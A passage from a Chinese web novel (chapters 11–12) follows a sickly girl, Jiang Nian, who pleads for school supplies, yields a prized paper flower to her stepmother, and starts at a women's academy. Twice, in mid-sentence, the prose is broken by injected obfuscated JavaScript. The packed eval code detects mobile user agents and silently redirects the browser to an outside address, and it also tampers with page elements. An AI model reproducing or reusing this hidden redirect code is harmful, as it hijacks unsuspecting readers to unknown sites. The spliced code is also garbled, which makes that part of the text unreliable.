家里有事必要正式禀报江老太太，这是江士元定下的死规矩，他们夫妻两个专门来西院就是为了此事，哪怕江老太太早已知道了考试结果。柳氏迈步要走，听见江念叫了声：“母亲。” 柳氏停住步子，江念咬咬唇，打叠起勇气：“入学要用的文具书本还缺很多，需要买。” 蓦地想起六月间病最重时，钱花光了，药费欠了太久，再赊不出来，她一封接着一封写信回家，整整写了四封信，终于收到家里回信，还有随信寄来的十两银子——还清欠账之后，只剩下一两不到。 开口要钱，从那时候，便已成为最难堪、痛苦，却连最基本的所需都不能满足的事。 柳氏顿了顿，并不是什么大事，可眼下江维鸾心情不好，万一让她知道，只怕又要闹：“知道了，你先整理一下缺哪些，到时候再说。” 她抬步往西院去了，江念沉默地看着，到时候，是什么时候？到时候，是不是还需要自己开口讨要，才会有。 收到回信那夜，她在黑暗中一遍遍告诉自己，会熬过来的，她会挣到钱，再不会为了吃药，为了吃饭受尽窘迫，然而直到现在，她一样都没能改变。 “不要紧，”江筠看出她的失落，安慰着，“我回去找找还有没有，你先用着，到跟前再说。” 江念点点头，青石甬路一头通向外院，一头通向内宅的角门，步子不自觉地放慢。有一刹那突然生出古怪的念头， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14780665|157955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那点将台上雄姿英发的少帅，可曾有过困顿窘迫的时候？应该不曾吧。 耳边听见江筠的唤声：“廿廿，有些话一直想跟你说。” 江念回过神来，江筠拉着她进了角门，在门后石凳上坐下：“考上只是第一步，关键还要看入学以后。” 比起春招，这次秋招的难度大大降低，她很疑心是为了迁就那内定之人改的规则，也就更担心江念基础不好，入学后赶不上进度：“这次能考上固然是你用功，但也是因为题目简单，没考经义的缘故，你以后一定要加倍努力，万万不能松懈。” 心头油然生出感激，江念答应着，听她又道：“算学以后就别学了吧。” “为什么？”江念怔住。 “不入流的科目，学也没用，”江筠解释道，“即便男子，学这些也都是做吏员，不登大雅之堂，书院虽然开了这门课，但很少有人选，去年以算学第一考进去的学姐，入学后也并没有选这课，所以你还是不要学了吧。” 耳边蓦地响起考场上清脆的算盘声，噼里啪啦，连绵不绝，江念心中生出强烈的不舍。最初学这些，是为了记账方便，并没有特别的好恶，但考场上那一个时辰，从生疏到熟练，从失败后的极度紧张到放下顾虑，全神贯注投入的一个时辰里，一切都不一样了。 她想好好学算学。 在算学的世界里，对就是对，错就是错，一切都那么清晰明确，不会以个人好恶去评判，不会每一步你都做对了，结果却全然辜负了你。 “廿廿，”江筠见她迟疑，问道，“怎么了？” “姐，”算学还能挣钱，周一娘做过账房先生，报酬丰厚。她不知道将来会怎样，但她眼下她窘迫困顿，她需要钱，以及钱所能带来的自尊，安全感。江念抬眼，“我想学算学。” 11. 第 11 章 阳光从院墙外斜照，江念的皮肤是近乎透明，病后不健康的白，江筠皱眉看着，有好一会儿没反应过来。 妹妹从不曾对她说不，从不曾违拗她的安排，这让她有点不习惯，半晌才道：“为什么？” “我，”江念转过脸，那些漠视，琐碎的痛苦，为钱所受的折磨，哪怕是对着二姐也无法说出口，“我也说不清，但我就是想学。” 江筠猜她是觉得这个简单，不至于学得太吃力的缘故，耐心劝道：“琴棋书画只要勤加练习都不难，不能因为算学容易，就要学这个。” 容易吗？其实并不，还记得才开始学打算盘时，速度和准确度都不行，只能一遍一遍不停练习，手指头磨肿出血，包一下再继续。江念低着头：“不是因为容易，只是我很想学。” “这，”江筠无奈，“要是根本没人选，怎么办？” “那我就一个人学。”江念抬头。 江筠对上她温柔坚定的目光，想起张姨娘总抱怨江念死心眼，从前她不觉得，现在觉到了。勉强道：“那么，到时候看情况吧。 摸摸江念的头，从前是缎子似的好头发，她总喜欢绕在手指把玩。可现在是涩的，毛躁干枯，病了太久，失去了光泽。江筠叹口气：“待会儿我给你洗头吧，才买的桂花油，好好给你抹抹。” 江念不懂她为什么突然说起这个，从前江筠常帮她洗头，家里穷，用皂角和桑叶煮水，洗出来涩涩的，浓郁的草木香气。那时候轻易买不起桂花油。心里暖着，靠在她肩上：“好，谢谢姐。” 江筠搂着她，觉得怅然，分开半年，改变的，也许不止是头发。“这几天你先歇歇，等入学以后，可得打起精神好好学。” “好。”江念微微闭着眼，太阳照得暖洋洋的，嗅到江筠身上淡淡的香气。觉得安心，有种极度紧张过后恍惚的松弛感。考上了，她的人生，即将进入新的一段。以后会如何呢？现在可以先不去想，至少还有二姐与她一道，并不是孤零零一个。 *** 时间一晃过去，离开学只剩下两天时，文具还是没凑齐，便是再难堪，江念也不得不向柳氏开口。 “母亲，”江念低着头，想起在孤山时，她半个月能绣一平尺的绣件，卖八分到一两银，日复一日，年复一年，绣了多少卖了多少已经算不清了，可到头来，她连自己的文具，都买不起，“后天就要开学了，我还得买文具。” 柳氏恍然想起，叹了口气：“我给忘了，这几天太忙。” 为着江维鸾，忙得她晕头转向。最近江维鸾虽然没再哭闹，但整天闷在屋里不肯见人，饭也不好生吃，瘦了一大圈。今日一早柳家派人来接，她好说歹说，才说服江维鸾过去小住几天散心，也正好避开江念入学的日子，免得到时候再生枝节。“你再等等，我忙完手头的事就给你买。” 再等等，是多久？江念咬着唇，在追问与忍耐之间挣扎，听见柳氏问道：“那个通草花，你还有一支？” 心中本能地生出警觉，江念抬眼：“母亲有什么吩咐？” “给你大姐姐吧，”柳氏犹豫着，到底还是说出了口。为着哄江维鸾开心，她给裁了新衣服，打了新首饰，无奈江维鸾始终闷闷不乐，她急得没法，想起考试那天江维鸾看了好几眼江筠的通草荷花，连忙打发人去买，无奈找遍了上京城也不曾找到，问过张姨娘才知道是江念的东西，“好孩子，你大姐姐因为你心里不好受，你让让她吧。” 那些隐忍的沉默，为着要钱所受的窘迫，因着长姐的失利，所有人强加于她的罪恶感，让人突然之间心情坏到了极点，江念语气生硬：“花我拆坏了。” 这些天半夏偷偷将附近的市场遍跑了一遍，到处都没有卖通草花的，江念越发笃定，只要她能做出来，利润必然丰厚。趁着功课不忙，她试着又拆了花瓣，浆糊粘得牢，花瓣薄而又脆，连拆两瓣都弄破了，不得已之下只能试着泡水化开浆糊，却意外发现沾水后花瓣变软，韧性增加，那些蜷曲舒卷的造型，竟是用这法子做出来的。 纸张沾水之后通常变软易碎，这通草纸恰好相反，也就难怪此前她怎么都没找到做花的法子。 “不是已经粘好了吗？”柳氏没有放弃，“好孩子，我知道你舍不得，我正让人去买，等买到了，多给你几支。” 的确舍不得，是周一娘送的，亦师亦友亦姐，那孤独无助的半年里，少有的几个关怀着她的人。江念涩涩笑了下，是交换吧？她要文具，柳氏便要花，她从来都没有选择：“好，我这就去取。” “不用你跑了，”柳氏松一口气，叫过丫鬟，“让王妈把那支花拿过来。” 丫鬟应声去了，江念沉默地看着。柳氏甚至没说是哪支花，就笃定王妈妈一定能找到，柳氏还知道那花她拆过，已经粘好了。 这些天她严加防范，无论做花还是让半夏去查探市场，都刻意避开了王妈妈，可王妈妈还是对她的一切，了如指掌。 “好孩子，”柳氏看出她的不快，试图安抚，“你的冬衣正裁着呢，过阵子田租上来了，再给你打几件首饰。” 门外突然一阵急促的脚步响，江维鸾冲了进来：“娘！” 阳光从冰裂纹窗格子里透进来，照着她头上簇新的赤金红宝蝴蝶簪，蝴蝶须子上一对浑圆的珍珠随着她的动作微微颤动，珠光流动，明晃晃地逼住人眼睛。江念转过了脸。 “不是去你舅舅家了吗，怎么又回来了？”柳氏连忙起身，握住江维鸾。余光瞥见边上的江念，心里突地一跳。姐妹俩一个新衣新鞋新首饰，光彩照人，一个旧衣旧鞋琉璃簪，浑身上下没一件值钱东西。自己也觉得刺眼，听见江维鸾恶狠狠向着江念：“谁让你在这儿？出去！” 柳氏忙道，“三丫头，你先回房去吧。” 江念福了一福，转身离开，身后语声急切，是江维鸾：“我半路上碰见了刘四娘，她说林下书院要招附学生，参加过春招秋招的都能去，娘，我要去！” 很好，长姐有学上了，她的罪责，大约也可以稍稍减除。不远 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江念吃了一惊，她们一年的束脩只要十两，这附学生，竟整整翻了五倍。江筠的语声又急又快：“这分明是专给富贵人家开后门！长此以往，书院哪还有真才实学？只要掏得起钱，谁都能进，书院的风骨何在？普通人家的女儿昼夜苦读才能考上，富贵人家却只需要花点钱就行，公平何在？” 五十两，父亲几个月的俸禄，并不是个小数目。江念忽地有种预感，她的书本文具，也许拿不到了。 接下来两天柳氏早出晚归，到处打听附学的事，江念几次想问文具都没找到机会，直到开学前一天晚上，桂妈妈来了。 身后小丫鬟抱着书箱，桂妈妈捧着包袱，笑容和煦：“这是给三姑娘的冬衣，箱子里是姑娘要的书本文具。” 她打开包袱，里面是新做的潞绸裙袄，又有一件黄罗衫子，一件泥金褙子，江念认得这衣服，江维鸾的。 “这两件是大姑娘的，都没怎么穿，新得很呢。”桂妈妈解释着。原打算全套都做新的，无奈江维鸾突然要附学，单是束脩就要五十两，柳氏如何拿得出来？只好拆东墙补西墙，先前已经裁了的潞绸裙袄不得不做，下剩的便用江维鸾的旧衣充数，“太太说等田租上来了，再给三姑娘做新的。” 可江维鸾这些天，穿的都是新衣。 “姑娘要的纸笔什么的家里都还有，照着姑娘的单子配了一套，”桂妈妈打开书箱，“姑娘看看有没有漏的。” 齐了，只不过除了纸，全都是旧的，那支鼠须勾线①，笔尖都秃了。“没有，都齐了。” “那就好，”桂妈妈见她并不曾闹，松一口气，“姑娘还要什么就跟我说，太太这几天忙，怕是没工夫。” 她带着丫鬟走了，江念一样一样，将那些旧衣旧笔，用的只剩下瓶底的颜料，放好在箱子里。 她不要再这么活下去了。她再不要为着吃药吃饭，为着一切最基本的需求，受尽窘迫。 翌日一早，江念动身前往林下书院。 车子起动，车夫回手关门，一转侧间，江念看见他皂色幞头之下，额上半遮的刺字。 12. 第 12 章 两刻钟后，江念在书院门前下了车，车夫赶着车子回去了，幞头压得低低的，垂着一张紫棠色的脸膛。 江念目送着，她没看错，这新来的车夫，就是上京码头撞到她的流民，为什么做了车夫，又为什么会在江家？ “看什么呢？”江筠顺着她的目光望去，问道。 “车夫有些眼生，”江念道，“之前不是这个人。” “他叫王川，是阿爹的新随从，赶车的乔叔今天有事，他来替班。”江筠挽着她，临进门前，再又打量。妹妹穿着新做的裙袄，眉目如画，清丽无双，唯独发髻上那支银钗太简陋，与她并不相称。拔下头上的荷花给妹妹簪上，清艳的嫣红衬着雪肤乌发，美得让人移不开眼睛，江筠笑起来，“这样才对。” “姐，”江念惊讶着，连忙来取，“我不要。” “戴着吧，”江筠笑着拦住，“等散学再换回来。” 张姨娘再三叮嘱说这花金贵，不能给人，她既不想听姨娘唠叨，便用这折中的办法好了。 江念在难以言说的复杂滋味中被她拉着进了门，一条宽阔的步道连通南北，道旁的银杏落了叶，金灿灿一地小扇子。 “那是经义堂，”江筠指着不远处正大端严的建筑，“平时上经义课的地方，待会儿迎新之仪也在这里。” “左边是徽音阁，声乐课在这儿上。” “亭子旁边是丹青苑，作画在那里。” 路上三三两两，无数同窗寒暄招呼，江筠带着亲昵和骄傲，一一向她们介绍自己新考进来的妹妹，所有人都在笑，所有人的目光都是亲切和善，江念觉得欢喜，像摆脱积雨的云，轻盈着上扬。 离开那个家，到这全新、明朗的环境，真好。 远处一带假山，山后拦着帷幕，隐约能看见搭起的木架，江筠停住步子：“那里是正在修建的藏书馆，明年五月就能建好，据说能藏上万卷藏书。” 江念一刹那间想起那个流言，这次秋招，是贵人捐了藏书馆，为女儿换来的机会。 “你也在想那人是谁，对不对？”江筠猜到她的心思，低声道，“学里也都在猜，都有些怀疑是……” 身后突然有人叫了声：“江念！” 江念回头，大道另一头曲蔚快步赶上来，一笑时，白生生一口糯米牙：“看背影就猜着是你，一起走吧。” 她极熟稔地凑近了，与江念并肩同行，又越过她看向江筠：“是筠姐姐吧？早听说你了，大才女！我叫曲蔚，跟江念考试时认识的。” 江筠认得她，这些天众人私下猜测，都觉得那内定的人，便是曲蔚。心里有些抗拒，淡淡道：“不敢当。” 当，钟声在此时响起，学生们纷纷往经义堂走，江筠拉着江念跟上去：“第一遍钟是预备，第二遍就要到堂，千万不能迟到。” 钟声悠长舒缓，江念一颗心却不由自主地提到了嗓子眼儿。入学了，从此她将在大庸最顶尖的书院读书，她能行吗？ 眼前是经义堂的白墙灰瓦，堂前一株大杏树，叶子还不曾落尽，虬曲苍劲的枝节，“进去吧。”江筠拉着她，迈步走进正厅。 光线稍稍暗了些，江念看见靠北摆着一排高背椅，是师长们的座位，下面几排矮桌矮凳，是学生的座位，负责指引的学姐含笑与江筠打了招呼，又向她道：“新入学的学妹在第一排就坐，其他人按以往的次序就坐。” “我得去后面了，”江筠低声叮嘱，“你自己照应着，不要怕。” 心跳越发快了，江念定定神松开手，目送着江筠走到最后一排坐下，“我们也坐吧。”曲蔚拉着她在第一排坐下，边上一个少女向她们微微颔首，却是一同考进来刘家四娘子，刘慧文。 人越来越多，身后的座位渐渐坐满，江念低着头，因为太紧张，便默默数着身后的人数。一个、两个、三个……五十七个。这名扬天下，世间女子的最高学府，加上她们，刚好六十人。 好少，父亲曾提过，单是太学，就有学生三千。 第二遍钟声敲响时，师长们进了门，江念连忙起身，所有人也都起身相迎，走在最前面的是位四十多岁，中等身量，目光安详的女子，江念猜她便是书院的山长，谢茂清。 出身名门，饱读诗书，一手创建林下书院，在上京甚至大庸，引领起女子读书向学的风潮。江念油然生出敬意，仰头望着。 “坐吧。”谢茂清居中坐下，声音清朗。 众夫子纷纷落座，谢茂清从容道：“今日在此，是为引见新人，我点到名字的，便起身介绍一下自己。” 江念的心砰砰跳着，在袖子底下紧紧攥着拳，听她唤出第一个名字：“曲蔚。” “到！”旁边曲蔚应声而起，含笑向台上师长行礼，跟着转身向后排学姐行礼，“弟子曲蔚，籍贯辽西，十六岁，有幸拜在门下，愿追随诸位师长，与前辈们共研雅诰奥义。” 紧跟着是刘慧文，她是刘二郎的堂妹，世居京城，书院里一大半人都认得，介绍时便分外从容。接下来，便是江念了。紧张到了极点，看见谢茂清柔和的眸光在她身上一顿：“江念。” “到，”江念在微微的眩晕中站起身，“弟子江念，籍贯陕州，十五岁。” 原该再说些漂亮话，此时却一句也说不出来，看见最后排江筠殷切的目光，江念觉得歉疚，边上曲蔚伸手拉她坐下，笑道：“你好温柔，不像我，总是高腔高调的话多。” 明知她是有意安慰，心里还是好过了些，江念低着头，听见谢茂清柔和舒缓的语声：“能入此门，皆是百里挑一的佼佼者，书院会竭力为你们提供所需，助你们施展，也望你们能沉下心去好好读几年书，不负你们多年来的努力。” 许是错觉，江念总觉得她从容的表象之下，有淡淡的惆怅。蓦地想起先前江筠说过，林下书院门槛高，能考上的都需苦读多年，多已到了十四五岁的年纪，也就因此，许多人刚刚入学，便因为议亲成亲离开，从此再不曾回来。 今日这六十人中，又有多少人在议亲，很快就要离开呢？家里也在为她们议亲，她又能留下多久？ 谢茂清又再勉励了几句，接下来诸位夫子介绍了学科和书院各项规矩，这短短的迎新会便告结束。 老生们依序离开，江筠落在最后，看出妹妹的紧张，低声安慰着：“没关系，学里各位师长和学姐们都很好，你不要怕，有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14780667|157955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不懂的尽管问，我在里面上课，有事叫我。” 她匆匆往里面一间教室去了，新生第一节课是初级班的经义，江念等着众位学姐全部离开，这才迈步出门，曲蔚跟了上来：“人好少啊，我听说太学有子弟数千，咱们书院身为女塾第一，竟然才几十个人。” 江念心里一动，没想到她想的竟与她暗合，前面刘慧文回头道：“咱们书院原也不是谁都能进的，要是人太多，如何能显出不同于凡俗之处？” “但若是人太少，能做的也就十分有限了。”曲蔚道。 刘慧文停住步子：“读书为的是明理修身，你还想做什么？” “做什么都行啊，”曲蔚道，“工农士商，五行八作，越多女子读书受益，才会有越多人家送女儿读书，书院方能长盛不衰。” 江念突然有种醍醐灌顶的感觉。先前在孤山时，同样尺寸的绣品，她做的，总比张姨娘做的价高，因为她能写会画，能根据主题设计更巧妙的构图、配色，这便是她从读书中，切切实实受到的益处。 回京那夜与江筠的分歧突然就有了答案，原来读书与挣钱，其实并非冲突之事，也能两全。 刘慧文皱着眉：“贩夫走卒便是读书又有何用？读书乃清贵之事，照你这么一说，倒成了俗人的俗务了。” “姐姐，”曲蔚笑起来，乌溜溜的眼睛眨了眨，“我家就是行商的呢。” 贩夫走卒，自然包含了商贾，刘慧文脸上一红，不好再说什么，转回头快步走了。江念惊讶着，欲待安慰几句，忙又忍住。当世重文轻武，重农抑商，书院有几个低阶武官的女儿，听说平时在出身高门的同窗面前总还有点拘束，但曲蔚如此坦荡，当是不在意这些世俗的看法，她若是安慰，反倒是看轻了她。 “走吧，”曲蔚拉起她，言笑晏晏，似已忘了刚才的争执，“你这朵荷花真美，我家也有首饰铺子，但我从不曾见过这种花。” “这个叫通草花，是南边的东西，京中大概还没有，”几次接触，江念对她颇有好感，不觉说道，“我正学着在做。” “真的？你好厉害！”曲蔚赞道，“等做好了，给我看看成不成？” 她乌溜溜的眼睛带着笑意看住她，江念不由自主，道了声好。 除了二姐，她极少与同龄人如此亲近，心中生出怪异的感觉，但，并不排斥。 新生刚入学并不选课，要将书院各门课程全都上足一个月后，方才择选今后所学，这天上午江念上了经义和诗赋，午初时分，散学归家。 来接的依旧是王川，低着头握着鞭，赶得骡车又快又稳。他为什么会做了父亲的随从？父亲知不知道他的身份？江念沉沉想着，那天在码头，是沈离带走了他，沈离后来，拜访过父亲。难道，与沈离有关？ 车子慢下来，到家了，大门内沈豫跟着江维胤正往外走，一抬头看见了，笑着打招呼：“二姑娘、三姑娘散学了。” 日色明亮，映得他飞扬的眉眼昳丽无双，江念抬头望着。其实他与沈离，容貌是像的，同样崖岸高峻的额头和眉骨，同样挺拔的鼻梁和棱角分明的唇，只不过这相似的容貌配上不同的气质，便成了截然不同的感觉。